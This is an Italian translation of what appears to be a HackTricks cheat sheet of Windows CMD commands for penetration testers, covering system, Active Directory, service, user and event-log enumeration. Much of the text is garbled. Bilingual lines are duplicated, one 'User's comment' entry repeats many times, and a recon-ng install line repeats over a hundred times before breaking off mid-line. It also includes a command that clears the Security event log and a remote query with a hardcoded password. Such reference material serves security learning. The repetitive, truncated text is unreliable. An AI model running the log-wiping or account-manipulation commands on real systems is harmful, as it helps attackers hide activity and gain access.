84 KiB
Comandi di base di Win CMD per Pentesters
Impara l'hacking di AWS da zero a esperto con htARTE (HackTricks AWS Red Team Expert)!
- Lavori in una azienda di sicurezza informatica? Vuoi vedere la tua azienda pubblicizzata in HackTricks? O vuoi avere accesso all'ultima versione di PEASS o scaricare HackTricks in PDF? Controlla i PACCHETTI DI ABBONAMENTO!
- Scopri The PEASS Family, la nostra collezione di esclusive NFT
- Ottieni il merchandising ufficiale di PEASS & HackTricks
- Unisciti al 💬 gruppo Discord o al gruppo Telegram o seguimi su Twitter 🐦@carlospolopm.
- Condividi i tuoi trucchi di hacking inviando PR al repo hacktricks e al repo hacktricks-cloud.
Informazioni di sistema
Informazioni sulla versione e sui patch
wmic os get osarchitecture || echo %PROCESSOR_ARCHITECTURE% #Get architecture
systeminfo
systeminfo | findstr /B /C:"OS Name" /C:"OS Version" #Get only that information
wmic computersystem LIST full #Get PC info
wmic qfe get Caption,Description,HotFixID,InstalledOn #Patches
wmic qfe list brief #Updates
hostname
DRIVERQUERY #3rd party driver vulnerable?
Ambiente
Basic CMD commands for pentesters
Comandi CMD di base per pentester
Networking
Networking
ipconfig
ipconfig
Displays the IP configuration for all network interfaces on the system.
Mostra la configurazione IP per tutte le interfacce di rete del sistema.
ipconfig
netstat
netstat
Displays active network connections and listening ports.
Mostra le connessioni di rete attive e le porte in ascolto.
netstat
nslookup
nslookup
Performs DNS lookup on a specified domain or IP address.
Esegue una ricerca DNS su un dominio o indirizzo IP specificato.
nslookup <domain/IP>
ping
ping
Sends ICMP echo requests to a specified IP address or domain.
Invia richieste di eco ICMP a un indirizzo IP o dominio specificato.
ping <IP/domain>
tracert
tracert
Traces the route taken by packets across an IP network.
Traccia il percorso seguito dai pacchetti attraverso una rete IP.
tracert <IP/domain>
arp
arp
Displays and modifies the IP-to-Physical address translation tables used by the Address Resolution Protocol (ARP).
Mostra e modifica le tabelle di traduzione indirizzo IP-indirizzo fisico utilizzate dal protocollo di risoluzione degli indirizzi (ARP).
arp -a
route
route
Displays and modifies the IP routing table.
Mostra e modifica la tabella di routing IP.
route print
netsh
netsh
Command-line scripting utility that allows you to display or modify the network configuration of a computer that is currently running.
Utilità di scripting a riga di comando che consente di visualizzare o modificare la configurazione di rete di un computer in esecuzione.
netsh
System Information
Informazioni di sistema
systeminfo
systeminfo
Displays detailed configuration information about a computer and its operating system.
Mostra informazioni dettagliate sulla configurazione di un computer e del suo sistema operativo.
systeminfo
hostname
hostname
Displays the name of the current host.
Mostra il nome dell'host corrente.
hostname
whoami
whoami
Displays the username of the current user.
Mostra il nome utente dell'utente corrente.
whoami
tasklist
tasklist
Displays a list of currently running processes on the system.
Mostra un elenco dei processi attualmente in esecuzione nel sistema.
tasklist
taskkill
taskkill
Terminates one or more running processes.
Termina uno o più processi in esecuzione.
taskkill /PID <PID>
wmic
wmic
Command-line interface for the Windows Management Instrumentation (WMI) infrastructure.
Interfaccia a riga di comando per l'infrastruttura Windows Management Instrumentation (WMI).
wmic
File and Directory Management
Gestione di file e directory
dir
dir
Displays a list of files and subdirectories in a directory.
Mostra un elenco di file e sottodirectory in una directory.
dir
cd
cd
Changes the current directory.
Cambia la directory corrente.
cd <directory>
mkdir
mkdir
Creates a new directory.
Crea una nuova directory.
mkdir <directory>
rmdir
rmdir
Removes a directory.
Rimuove una directory.
rmdir <directory>
copy
copy
Copies one or more files from one location to another.
Copia uno o più file da una posizione a un'altra.
copy <source> <destination>
move
move
Moves one or more files from one location to another.
Sposta uno o più file da una posizione a un'altra.
move <source> <destination>
del
del
Deletes one or more files.
Elimina uno o più file.
del <file>
type
type
Displays the contents of a text file.
Mostra il contenuto di un file di testo.
type <file>
findstr
findstr
Searches for a specific string in one or more files.
Cerca una stringa specifica in uno o più file.
findstr <string> <file>
attrib
attrib
Displays or changes the attributes of files or directories.
Mostra o modifica gli attributi di file o directory.
attrib <file/directory>
User Management
Gestione degli utenti
net user
net user
Displays or modifies user accounts on a Windows system.
Mostra o modifica gli account utente su un sistema Windows.
net user
net localgroup
net localgroup
Displays or modifies local groups on a Windows system.
Mostra o modifica i gruppi locali su un sistema Windows.
net localgroup
net group
net group
Displays or modifies global groups on a Windows system.
Mostra o modifica i gruppi globali su un sistema Windows.
net group
net accounts
net accounts
Displays or modifies password and account lockout policies on a Windows system.
Mostra o modifica le password e le politiche di blocco dell'account su un sistema Windows.
net accounts
net session
net session
Displays information about sessions on a Windows system.
Mostra informazioni sulle sessioni su un sistema Windows.
net session
net share
net share
Displays or modifies shared resources on a Windows system.
Mostra o modifica le risorse condivise su un sistema Windows.
net share
net use
net use
Connects or disconnects a computer from a shared resource or displays information about current connections.
Connette o disconnette un computer da una risorsa condivisa o mostra informazioni sulle connessioni correnti.
net use
net view
net view
Displays a list of resources being shared on a Windows system.
Mostra un elenco delle risorse condivise su un sistema Windows.
net view
net localgroup administrators
net localgroup administrators
Displays the members of the local Administrators group on a Windows system.
Mostra i membri del gruppo Amministratori locali su un sistema Windows.
net localgroup administrators
net localgroup "Remote Desktop Users"
net localgroup "Remote Desktop Users"
Displays the members of the Remote Desktop Users group on a Windows system.
Mostra i membri del gruppo Utenti desktop remoto su un sistema Windows.
net localgroup "Remote Desktop Users"
net localgroup "Domain Admins"
net localgroup "Domain Admins"
Displays the members of the Domain Admins group on a Windows system.
Mostra i membri del gruppo Domain Admins su un sistema Windows.
net localgroup "Domain Admins"
net localgroup "Enterprise Admins"
net localgroup "Enterprise Admins"
Displays the members of the Enterprise Admins group on a Windows system.
Mostra i membri del gruppo Enterprise Admins su un sistema Windows.
net localgroup "Enterprise Admins"
net localgroup "Schema Admins"
net localgroup "Schema Admins"
Displays the members of the Schema Admins group on a Windows system.
Mostra i membri del gruppo Schema Admins su un sistema Windows.
net localgroup "Schema Admins"
net localgroup "Administrators" /domain
net localgroup "Administrators" /domain
Displays the members of the Administrators group in the domain.
Mostra i membri del gruppo Amministratori nel dominio.
net localgroup "Administrators" /domain
net user *
net user *
Resets the password for a specified user account.
Reimposta la password per un account utente specificato.
net user <username> *
net user /domain
net user /domain
Displays information about a specified user account in the domain.
Mostra informazioni su un account utente specificato nel dominio.
net user <username> /domain
net user /domain | findstr "Group"
net user /domain | findstr "Group"
Displays the group memberships for a specified user account in the domain.
Mostra l'appartenenza ai gruppi per un account utente specificato nel dominio.
net user <username> /domain | findstr "Group"
net user /domain | findstr "Local Group Memberships"
net user /domain | findstr "Local Group Memberships"
Displays the local group memberships for a specified user account in the domain.
Mostra l'appartenenza ai gruppi locali per un account utente specificato nel dominio.
net user <username> /domain | findstr "Local Group Memberships"
net user /domain | findstr "Global Group memberships"
net user /domain | findstr "Global Group memberships"
Displays the global group memberships for a specified user account in the domain.
Mostra l'appartenenza ai gruppi globali per un account utente specificato nel dominio.
net user <username> /domain | findstr "Global Group memberships"
net user /domain | findstr "Password last set"
net user /domain | findstr "Password last set"
Displays the date and time when the password was last set for a specified user account in the domain.
Mostra la data e l'ora in cui è stata impostata l'ultima password per un account utente specificato nel dominio.
net user <username> /domain | findstr "Password last set"
net user /domain | findstr "Password expires"
net user /domain | findstr "Password expires"
Displays the date and time when the password will expire for a specified user account in the domain.
Mostra la data e l'ora in cui la password scadrà per un account utente specificato nel dominio.
net user <username> /domain | findstr "Password expires"
net user /domain | findstr "Account active"
net user /domain | findstr "Account active"
Displays whether a specified user account in the domain is active or not.
Mostra se un account utente specificato nel dominio è attivo o meno.
net user <username> /domain | findstr "Account active"
net user /domain | findstr "Account expires"
net user /domain | findstr "Account expires"
Displays the date and time when the user account will expire in the domain.
Mostra la data e l'ora in cui l'account utente scadrà nel dominio.
net user <username> /domain | findstr "Account expires"
net user /domain | findstr "Last logon"
net user /domain | findstr "Last logon"
Displays the date and time when the user last logged on in the domain.
Mostra la data e l'ora in cui l'utente ha effettuato l'ultimo accesso nel dominio.
net user <username> /domain | findstr "Last logon"
net user /domain | findstr "Logon hours allowed"
net user /domain | findstr "Logon hours allowed"
Displays the logon hours allowed for a specified user account in the domain.
Mostra le ore di accesso consentite per un account utente specificato nel dominio.
net user <username> /domain | findstr "Logon hours allowed"
net user /domain | findstr "Logon script"
net user /domain | findstr "Logon script"
Displays the logon script configured for a specified user account in the domain.
Mostra lo script di accesso configurato per un account utente specificato nel dominio.
net user <username> /domain | findstr "Logon script"
net user /domain | findstr "User comment"
net user /domain | findstr "User comment"
Displays the user comment for a specified user account in the domain.
Mostra il commento dell'utente per un account utente specificato nel dominio.
net user <username> /domain | findstr "User comment"
net user /domain | findstr "User's comment"
net user /domain | findstr "User's comment"
Displays the user's comment for a specified user account in the domain.
Mostra il commento dell'utente per un account utente specificato nel dominio.
net user <username> /domain | findstr "User's comment"
net user /domain | findstr "User's full name"
net user /domain | findstr "User's full name"
Displays the user's full name for a specified user account in the domain.
Mostra il nome completo dell'utente per un account utente specificato nel dominio.
net user <username> /domain | findstr "User's full name"
net user /domain | findstr "User's comment"
net user /domain | findstr "User's comment"
Displays the user's comment for a specified user account in the domain.
Mostra il commento dell'utente per un account utente specificato nel dominio.
net user <username> /domain | findstr "User's comment"
net user /domain | findstr "User's comment"
net user /domain | findstr "User's comment"
Displays the user's comment for a specified user account in the domain.
Mostra il commento dell'utente per un account utente specificato nel dominio.
net user <username> /domain | findstr "User's comment"
net user /domain | findstr "User's comment"
net user /domain | findstr "User's comment"
Displays the user's comment for a specified user account in the domain.
Mostra il commento dell'utente per un account utente specificato nel dominio.
net user <username> /domain | findstr "User's comment"
net user /domain | findstr "User's comment"
net user /domain | findstr "User's comment"
Displays the user's comment for a specified user account in the domain.
Mostra il commento dell'utente per un account utente specificato nel dominio.
net user <username> /domain | findstr "User's comment"
net user /domain | findstr "User's comment"
net user /domain | findstr "User's comment"
Displays the user's comment for a specified user account in the domain.
Mostra il commento dell'utente per un account utente specificato nel dominio.
net user <username> /domain | findstr "User's comment"
net user /domain | findstr "User's comment"
net user /domain | findstr "User's comment"
Displays the user's comment for a specified user account in the domain.
Mostra il commento dell'utente per un account utente specificato nel dominio.
net user <username> /domain | findstr "User's comment"
net user /domain | findstr "User's comment"
net user /domain | findstr "User's comment"
Displays the user's comment for a specified user account in the domain.
Mostra il commento dell'utente per un account utente specificato nel dominio.
net user <username> /domain | findstr "User's comment"
net user /domain | findstr "User's comment"
net user /domain | findstr "User's comment"
Displays the user's comment for a specified user account in the domain.
Mostra il commento dell'utente per un account utente specificato nel dominio.
net user <username> /domain | findstr "User's comment"
net user /domain | findstr "User's comment"
net user /domain | findstr "User's comment"
Displays the user's comment for a specified user account in the domain.
Mostra il commento dell'utente per un account utente specificato nel dominio.
net user <username> /domain | findstr "User's comment"
net user /domain | findstr "User's comment"
net user /domain | findstr "User's comment"
Displays the user's comment for a specified user account in the domain.
Mostra il commento dell'utente per un account utente specificato nel dominio.
net user <username> /domain | find
```bash
set #List all environment variables
Alcune variabili di ambiente da evidenziare:
- COMPUTERNAME: Nome del computer
- TEMP/TMP: Cartella temporanea
- USERNAME: Il tuo nome utente
- HOMEPATH/USERPROFILE: Directory home
- windir: C:\Windows
- OS: Sistema operativo Windows
- LOGONSERVER: Nome del controller di dominio
- USERDNSDOMAIN: Nome di dominio da utilizzare con DNS
- USERDOMAIN: Nome del dominio
nslookup %LOGONSERVER%.%USERDNSDOMAIN% #DNS request for DC
Dischi montati
When performing a penetration test on a Windows system, it is important to gather information about the mounted disks. This information can be useful for identifying potential vulnerabilities and accessing sensitive data.
To view the mounted disks on a Windows system, you can use the following command:
wmic logicaldisk get caption, description, volumename
This command will display the caption (drive letter), description, and volume name of each mounted disk on the system.
It is also possible to retrieve the same information using PowerShell. The following command can be used:
Get-WmiObject -Class Win32_LogicalDisk | Select-Object DeviceID, Description, VolumeName
Both commands will provide you with a list of the mounted disks on the Windows system, allowing you to further investigate and analyze them during your penetration test.
(wmic logicaldisk get caption 2>nul | more) || (fsutil fsinfo drives 2>nul)
wmic logicaldisk get caption,description,providername
Defender
Cestino del riciclo
dir C:\$Recycle.Bin /s /b
Processi, Servizi e Software
Processi
I processi sono programmi in esecuzione sul sistema operativo. Possono essere visualizzati utilizzando il comando tasklist
:
tasklist
Per terminare un processo, è possibile utilizzare il comando taskkill
seguito dall'ID del processo:
taskkill /PID <PID>
Servizi
I servizi sono programmi che vengono eseguiti in background sul sistema operativo. Possono essere visualizzati utilizzando il comando sc
:
sc query
Per avviare o arrestare un servizio, è possibile utilizzare i comandi sc start
e sc stop
seguiti dal nome del servizio:
sc start <nome_servizio>
sc stop <nome_servizio>
Software
Per visualizzare il software installato sul sistema, è possibile utilizzare il comando wmic
:
wmic product get name,version
Questo comando restituirà una lista di tutti i software installati, insieme al loro nome e versione.
schtasks /query /fo LIST /v #Verbose out of scheduled tasks
schtasks /query /fo LIST 2>nul | findstr TaskName
schtasks /query /fo LIST /v > schtasks.txt; cat schtask.txt | grep "SYSTEM\|Task To Run" | grep -B 1 SYSTEM
tasklist /V #List processes
tasklist /SVC #links processes to started services
net start #Windows Services started
wmic service list brief #List services
sc query #List of services
dir /a "C:\Program Files" #Installed software
dir /a "C:\Program Files (x86)" #Installed software
reg query HKEY_LOCAL_MACHINE\SOFTWARE #Installed software
Informazioni sul dominio
Whois
Il comando whois
consente di ottenere informazioni sul dominio, come il proprietario, il registrar e i contatti associati.
whois <dominio>
DNS Enumeration
La enumerazione DNS può fornire informazioni sulle risorse associate a un dominio, come gli indirizzi IP dei server DNS, i record MX per la posta elettronica e i record NS per i nomi dei server.
nslookup -type=any <dominio>
Zone Transfer
La trasferimento di zona consente di ottenere una copia completa della zona DNS di un dominio da un server DNS autoritativo.
nslookup
> server <server_dns_autoritativo>
> ls -d <dominio>
Reverse DNS Lookup
La ricerca inversa DNS consente di ottenere il nome di dominio associato a un indirizzo IP.
nslookup <indirizzo_ip>
Subdomain Enumeration
La enumerazione dei sottodomini può rivelare sottodomini associati a un dominio.
nslookup -type=ns <dominio>
Email Enumeration
La enumerazione delle email può rivelare indirizzi email associati a un dominio.
nslookup -type=mx <dominio>
Web Technologies Enumeration
La enumerazione delle tecnologie web può rivelare i framework, i CMS e altre tecnologie utilizzate da un sito web.
wappalyzer <url>
SSL Certificate Enumeration
La enumerazione dei certificati SSL può fornire informazioni sul certificato utilizzato da un sito web, come il proprietario, la data di scadenza e l'autorità di certificazione.
openssl s_client -connect <url>:443
Cloud Resources Enumeration
La enumerazione delle risorse cloud può rivelare servizi cloud associati a un dominio.
amass enum --passive -d <dominio>
Social Media Enumeration
La enumerazione dei social media può rivelare account di social media associati a un dominio.
theharvester -d <dominio> -b all
Leaked Data Enumeration
La enumerazione dei dati trapelati può rivelare informazioni sensibili associate a un dominio.
h8mail -t <indirizzo_email> --breach -o <output_file>
OSINT Enumeration
La enumerazione OSINT (Open Source Intelligence) può rivelare informazioni pubblicamente disponibili associate a un dominio.
recon-ng
> marketplace install recon/domains-hosts/bing_domain_web
> marketplace install recon/domains-hosts/google_site_web
> marketplace install recon/domains-hosts/netcraft
> marketplace install recon/domains-hosts/threatcrowd
> marketplace install recon/domains-hosts/virustotal
> marketplace install recon/domains-hosts/whois_pocs
> marketplace install recon/domains-hosts/whois_pocs
> marketplace install recon/domains-hosts/whois_pocs
> marketplace install recon/domains-hosts/whois_pocs
> marketplace install recon/domains-hosts/whois_pocs
> marketplace install recon/domains-hosts/whois_pocs
> marketplace install recon/domains-hosts/whois_pocs
> marketplace install recon/domains-hosts/whois_pocs
> marketplace install recon/domains-hosts/whois_pocs
> marketplace install recon/domains-hosts/whois_pocs
> marketplace install recon/domains-hosts/whois_pocs
> marketplace install recon/domains-hosts/whois_pocs
> marketplace install recon/domains-hosts/whois_pocs
> marketplace install recon/domains-hosts/whois_pocs
> marketplace install recon/domains-hosts/whois_pocs
> marketplace install recon/domains-hosts/whois_pocs
> marketplace install recon/domains-hosts/whois_pocs
> marketplace install recon/domains-hosts/whois_pocs
> marketplace install recon/domains-hosts/whois_pocs
> marketplace install recon/domains-hosts/whois_pocs
> marketplace install recon/domains-hosts/whois_pocs
> marketplace install recon/domains-hosts/whois_pocs
> marketplace install recon/domains-hosts/whois_pocs
> marketplace install recon/domains-hosts/whois_pocs
> marketplace install recon/domains-hosts/whois_pocs
> marketplace install recon/domains-hosts/whois_pocs
> marketplace install recon/domains-hosts/whois_pocs
> marketplace install recon/domains-hosts/whois_pocs
> marketplace install recon/domains-hosts/whois_pocs
> marketplace install recon/domains-hosts/whois_pocs
> marketplace install recon/domains-hosts/whois_pocs
> marketplace install recon/domains-hosts/whois_pocs
> marketplace install recon/domains-hosts/whois_pocs
> marketplace install recon/domains-hosts/whois_pocs
> marketplace install recon/domains-hosts/whois_pocs
> marketplace install recon/domains-hosts/whois_pocs
> marketplace install recon/domains-hosts/whois_pocs
> marketplace install recon/domains-hosts/whois_pocs
> marketplace install recon/domains-hosts/whois_pocs
> marketplace install recon/domains-hosts/whois_pocs
> marketplace install recon/domains-hosts/whois_pocs
> marketplace install recon/domains-hosts/whois_pocs
> marketplace install recon/domains-hosts/whois_pocs
> marketplace install recon/domains-hosts/whois_pocs
> marketplace install recon/domains-hosts/whois_pocs
> marketplace install recon/domains-hosts/whois_pocs
> marketplace install recon/domains-hosts/whois_pocs
> marketplace install recon/domains-hosts/whois_pocs
> marketplace install recon/domains-hosts/whois_pocs
> marketplace install recon/domains-hosts/whois_pocs
> marketplace install recon/domains-hosts/whois_pocs
> marketplace install recon/domains-hosts/whois_pocs
> marketplace install recon/domains-hosts/whois_pocs
> marketplace install recon/domains-hosts/whois_pocs
> marketplace install recon/domains-hosts/whois_pocs
> marketplace install recon/domains-hosts/whois_pocs
> marketplace install recon/domains-hosts/whois_pocs
> marketplace install recon/domains-hosts/whois_pocs
> marketplace install recon/domains-hosts/whois_pocs
> marketplace install recon/domains-hosts/whois_pocs
> marketplace install recon/domains-hosts/whois_pocs
> marketplace install recon/domains-hosts/whois_pocs
> marketplace install recon/domains-hosts/whois_pocs
> marketplace install recon/domains-hosts/whois_pocs
> marketplace install recon/domains-hosts/whois_pocs
> marketplace install recon/domains-hosts/whois_pocs
> marketplace install recon/domains-hosts/whois_pocs
> marketplace install recon/domains-hosts/whois_pocs
> marketplace install recon/domains-hosts/whois_pocs
> marketplace install recon/domains-hosts/whois_pocs
> marketplace install recon/domains-hosts/whois_pocs
> marketplace install recon/domains-hosts/whois_pocs
> marketplace install recon/domains-hosts/whois_pocs
> marketplace install recon/domains-hosts/whois_pocs
> marketplace install recon/domains-hosts/whois_pocs
> marketplace install recon/domains-hosts/whois_pocs
> marketplace install recon/domains-hosts/whois_pocs
> marketplace install recon/domains-hosts/whois_pocs
> marketplace install recon/domains-hosts/whois_pocs
> marketplace install recon/domains-hosts/whois_pocs
> marketplace install recon/domains-hosts/whois_pocs
> marketplace install recon/domains-hosts/whois_pocs
> marketplace install recon/domains-hosts/whois_pocs
> marketplace install recon/domains-hosts/whois_pocs
> marketplace install recon/domains-hosts/whois_pocs
> marketplace install recon/domains-hosts/whois_pocs
> marketplace install recon/domains-hosts/whois_pocs
> marketplace install recon/domains-hosts/whois_pocs
> marketplace install recon/domains-hosts/whois_pocs
> marketplace install recon/domains-hosts/whois_pocs
> marketplace install recon/domains-hosts/whois_pocs
> marketplace install recon/domains-hosts/whois_pocs
> marketplace install recon/domains-hosts/whois_pocs
> marketplace install recon/domains-hosts/whois_pocs
> marketplace install recon/domains-hosts/whois_pocs
> marketplace install recon/domains-hosts/whois_pocs
> marketplace install recon/domains-hosts/whois_pocs
> marketplace install recon/domains-hosts/whois_pocs
> marketplace install recon/domains-hosts/whois_pocs
> marketplace install recon/domains-hosts/whois_pocs
> marketplace install recon/domains-hosts/whois_pocs
> marketplace install recon/domains-hosts/whois_pocs
> marketplace install recon/domains-hosts/whois_pocs
> marketplace install recon/domains-hosts/whois_pocs
> marketplace install recon/domains-hosts/whois_pocs
> marketplace install recon/domains-hosts/whois_pocs
> marketplace install recon/domains-hosts/whois_pocs
> marketplace install recon/domains-hosts/whois_pocs
> marketplace install recon/domains-hosts/whois_pocs
> marketplace install recon/domains-hosts/whois_pocs
> marketplace install recon/domains-hosts/whois_pocs
> marketplace install recon/domains-hosts/whois_pocs
> marketplace install recon/domains-hosts/whois_pocs
> marketplace install recon/domains-hosts/whois_pocs
> marketplace install recon/domains-hosts/whois_pocs
> marketplace install recon/domains-hosts/whois_pocs
> marketplace install recon/domains-hosts/whois_pocs
> marketplace install recon/domains-hosts/whois_pocs
> marketplace install recon/domains-hosts/whois_pocs
> marketplace install recon/domains-hosts/whois_pocs
> marketplace install recon/domains-hosts/whois_pocs
> marketplace install recon/domains-hosts/whois_pocs
> marketplace install recon/domains-hosts/whois_pocs
> marketplace install recon/domains-hosts/whois_pocs
> marketplace install recon/domains-hosts/whois_pocs
> marketplace install recon/domains-hosts/whois_pocs
> marketplace install recon/domains-hosts/whois_pocs
> marketplace install recon/domains-hosts/whois_pocs
> marketplace install recon/domains-hosts/whois_pocs
> marketplace install recon/domains-hosts/whois_pocs
> marketplace install recon/domains-hosts/whois_pocs
> marketplace install recon/domains-hosts/whois_pocs
> marketplace install recon/domains-hosts/whois_pocs
> marketplace install recon/domains-hosts/whois_pocs
> marketplace install recon/domains-hosts/whois_pocs
> marketplace install recon/domains-hosts/whois_pocs
> marketplace install recon/domains-hosts/whois_pocs
> marketplace install recon/domains-hosts/whois_pocs
> marketplace install recon/domains-hosts/whois_pocs
> marketplace install recon/domains-hosts/whois_pocs
> marketplace install recon/domains-hosts/whois_pocs
> marketplace install recon/domains-hosts/whois_pocs
> marketplace install recon/domains-hosts/whois_pocs
> marketplace install recon/domains-hosts/whois_pocs
> marketplace install recon/domains-hosts/whois_pocs
> marketplace install recon/domains-hosts/whois_pocs
> marketplace install recon/domains-hosts/whois_pocs
> marketplace install recon/domains-hosts/whois_pocs
> marketplace install recon/domains-hosts/whois_pocs
> marketplace install recon/domains-hosts/whois_pocs
> marketplace install recon/domains-hosts/whois_pocs
> marketplace install recon/domains-hosts/whois_pocs
> marketplace install recon/domains-hosts/whois_pocs
> marketplace install recon/domains-hosts/whois_pocs
> marketplace install recon/domains-hosts/whois_pocs
> marketplace install recon/domains-hosts/whois_pocs
> marketplace install recon/domains-hosts/whois_pocs
> marketplace install recon/domains-hosts/whois_pocs
> marketplace install recon/domains-hosts/whois_pocs
> marketplace install recon/domains-hosts/whois_pocs
> marketplace install recon/domains-hosts/whois_pocs
> marketplace install recon/domains-hosts/whois_pocs
> marketplace install recon/domains-hosts/whois_pocs
> marketplace install recon/domains-hosts/whois_pocs
> marketplace install recon/domains-hosts/whois_pocs
> marketplace install recon/domains-hosts/whois_pocs
> marketplace install recon/domains-hosts/whois_pocs
> marketplace install recon/domains-hosts/whois_pocs
> marketplace install recon/domains-hosts/whois_pocs
> marketplace install recon/domains-hosts/whois_pocs
> marketplace install recon/domains-hosts/whois_pocs
> marketplace install recon/domains-hosts/whois_pocs
> marketplace install recon/domains-hosts/whois_pocs
> marketplace install recon/domains-hosts/whois_pocs
> marketplace install recon/domains-hosts/whois_pocs
> marketplace install recon/domains-hosts/whois_pocs
> marketplace install recon/domains-hosts/whois_pocs
> marketplace install recon/domains-hosts/whois_pocs
> marketplace install recon/domains-hosts/whois_pocs
> marketplace install recon/domains-hosts/whois_pocs
> marketplace install recon/domains-hosts/whois_pocs
> marketplace install recon/domains-hosts/whois_pocs
> marketplace install recon/domains-hosts/whois_pocs
> marketplace install recon/domains-hosts/whois_pocs
> marketplace install recon/domains-hosts/whois_pocs
> marketplace install recon/domains-hosts/whois_pocs
> marketplace install recon/domains-hosts/whois_pocs
> marketplace install recon/domains-hosts/whois_pocs
> marketplace install recon/domains-hosts/whois_pocs
> marketplace install recon/domains-hosts/whois_pocs
> marketplace install recon/domains-hosts/whois_pocs
> marketplace install recon/domains-hosts/whois_pocs
> marketplace install recon/domains-hosts/whois_pocs
> marketplace install recon/domains-hosts/whois_pocs
> marketplace install recon/domains-hosts/whois_pocs
> marketplace install recon/domains-hosts/whois_pocs
> marketplace install recon/domains-hosts/whois_pocs
> marketplace install recon/domains-hosts/whois_pocs
> marketplace install recon/domains-hosts/whois_pocs
> marketplace install recon/domains-hosts/whois_pocs
> marketplace install recon/domains-hosts/whois_pocs
> marketplace install recon/domains-hosts/whois_pocs
> marketplace install recon/domains-hosts/whois_pocs
> marketplace install recon/domains-hosts/whois_pocs
> marketplace install recon/domains-hosts/whois_pocs
> marketplace install recon/domains-hosts/whois_pocs
> marketplace install recon/domains-hosts/whois_pocs
> marketplace install recon/domains-hosts/whois_pocs
> marketplace install recon/domains-hosts/whois_pocs
> marketplace install recon/domains-hosts/whois_pocs
> marketplace install recon/domains-hosts/whois_pocs
> marketplace install recon/domains-hosts/whois_pocs
> marketplace install recon/domains-hosts/whois_pocs
> marketplace install recon/domains-hosts/whois_pocs
> marketplace install recon/domains-hosts/whois_pocs
> marketplace install recon/domains-hosts/whois_pocs
> marketplace install recon/domains-hosts/whois_pocs
> marketplace install recon/domains-hosts/whois_pocs
> marketplace install recon/domains-hosts/whois_pocs
> marketplace install recon/domains-hosts/whois_pocs
> marketplace install recon/domains-hosts/whois_pocs
> marketplace install recon/domains-hosts/whois_pocs
> marketplace install recon/domains-hosts/whois_pocs
> marketplace install recon/domains-hosts/whois_pocs
> marketplace install recon/domains-hosts/whois_pocs
> marketplace install recon/domains-hosts/whois_pocs
> marketplace install recon/domains-hosts/whois_pocs
> marketplace install recon/domains-hosts/whois_pocs
> marketplace install recon/domains-hosts/whois_pocs
> marketplace install recon/domains-hosts/whois_pocs
> marketplace install recon/domains-hosts/whois_pocs
> marketplace install recon/domains-hosts/whois_pocs
> marketplace install recon/domains-hosts/whois_pocs
> marketplace install recon/domains-host
```bash
# Generic AD info
echo %USERDOMAIN% #Get domain name
echo %USERDNSDOMAIN% #Get domain name
echo %logonserver% #Get name of the domain controller
set logonserver #Get name of the domain controller
set log #Get name of the domain controller
gpresult /V # Get current policy applied
wmic ntdomain list /format:list #Displays information about the Domain and Domain Controllers
# Users
dsquery user #Get all users
net user /domain #List all users of the domain
net user <ACCOUNT_NAME> /domain #Get information about that user
net accounts /domain #Password and lockout policy
wmic useraccount list /format:list #Displays information about all local accounts and any domain accounts that have logged into the device
wmic /NAMESPACE:\\root\directory\ldap PATH ds_user GET ds_samaccountname #Get all users
wmic /NAMESPACE:\\root\directory\ldap PATH ds_user where "ds_samaccountname='user_name'" GET # Get info of 1 users
wmic sysaccount list /format:list # Dumps information about any system accounts that are being used as service accounts.
# Groups
net group /domain #List of domain groups
net localgroup administrators /domain #List uses that belongs to the administrators group inside the domain (the group "Domain Admins" is included here)
net group "Domain Admins" /domain #List users with domain admin privileges
net group "domain computers" /domain #List of PCs connected to the domain
net group "Domain Controllers" /domain #List PC accounts of domains controllers
wmic group list /format:list # Information about all local groups
wmic /NAMESPACE:\\root\directory\ldap PATH ds_group GET ds_samaccountname #Get all groups
wmic /NAMESPACE:\\root\directory\ldap PATH ds_group where "ds_samaccountname='Domain Admins'" Get ds_member /Value #Members of the group
wmic path win32_groupuser where (groupcomponent="win32_group.name="domain admins",domain="DOMAIN_NAME"") #Members of the group
# Computers
dsquery computer #Get all computers
net view /domain #Lis of PCs of the domain
nltest /dclist:<DOMAIN> #List domain controllers
wmic /NAMESPACE:\\root\directory\ldap PATH ds_computer GET ds_samaccountname #All computers
wmic /NAMESPACE:\\root\directory\ldap PATH ds_computer GET ds_dnshostname #All computers
# Trust relations
nltest /domain_trusts #Mapping of the trust relationships
# Get all objects inside an OU
dsquery * "CN=Users,DC=INLANEFREIGHT,DC=LOCAL"
Registri ed eventi
I registri ed eventi sono strumenti essenziali per la risoluzione dei problemi e l'analisi delle attività di un sistema operativo Windows. Forniscono informazioni dettagliate sulle azioni eseguite dal sistema e dagli utenti. I registri ed eventi possono essere utilizzati anche per rilevare attività sospette o potenziali violazioni della sicurezza.
Visualizzare i registri ed eventi
Per visualizzare i registri ed eventi in Windows, è possibile utilizzare il comando eventvwr.msc
dal prompt dei comandi. Questo comando aprirà la console degli eventi, dove è possibile esaminare i diversi registri ed eventi disponibili.
Filtrare i registri ed eventi
Per filtrare i registri ed eventi in base a determinati criteri, è possibile utilizzare il comando wevtutil
. Ad esempio, il seguente comando filtra gli eventi del registro di sicurezza che corrispondono all'ID evento 4624 (accesso riuscito):
wevtutil qe Security "/q:*[System[(EventID=4624)]]"
Pulire i registri ed eventi
Per pulire i registri ed eventi in Windows, è possibile utilizzare il comando wevtutil
. Ad esempio, il seguente comando pulisce tutti gli eventi del registro di sicurezza:
wevtutil cl Security
Monitorare i registri ed eventi in tempo reale
Per monitorare i registri ed eventi in tempo reale, è possibile utilizzare il comando powershell
insieme al cmdlet Get-WinEvent
. Ad esempio, il seguente comando monitora gli eventi del registro di sicurezza in tempo reale:
powershell -c "Get-WinEvent -LogName Security -MaxEvents 10 -Wait"
Estrarre i registri ed eventi
Per estrarre i registri ed eventi in un file di testo, è possibile utilizzare il comando wevtutil
. Ad esempio, il seguente comando estrae gli eventi del registro di sicurezza in un file di testo chiamato "security_events.txt":
wevtutil epl Security security_events.txt
#Make a security query using another credentials
wevtutil qe security /rd:true /f:text /r:helpline /u:HELPLINE\zachary /p:0987654321
Utenti e Gruppi
Utenti
# List all users
net user
# Get detailed information about a specific user
net user <username>
# Create a new user
net user <username> <password> /add
# Delete a user
net user <username> /delete
# Disable a user account
net user <username> /active:no
# Enable a disabled user account
net user <username> /active:yes
# Change a user's password
net user <username> <new_password>
# Add a user to a group
net localgroup <group_name> <username> /add
# Remove a user from a group
net localgroup <group_name> <username> /delete
Gruppi
# List all groups
net localgroup
# Get detailed information about a specific group
net localgroup <group_name>
# Create a new group
net localgroup <group_name> /add
# Delete a group
net localgroup <group_name> /delete
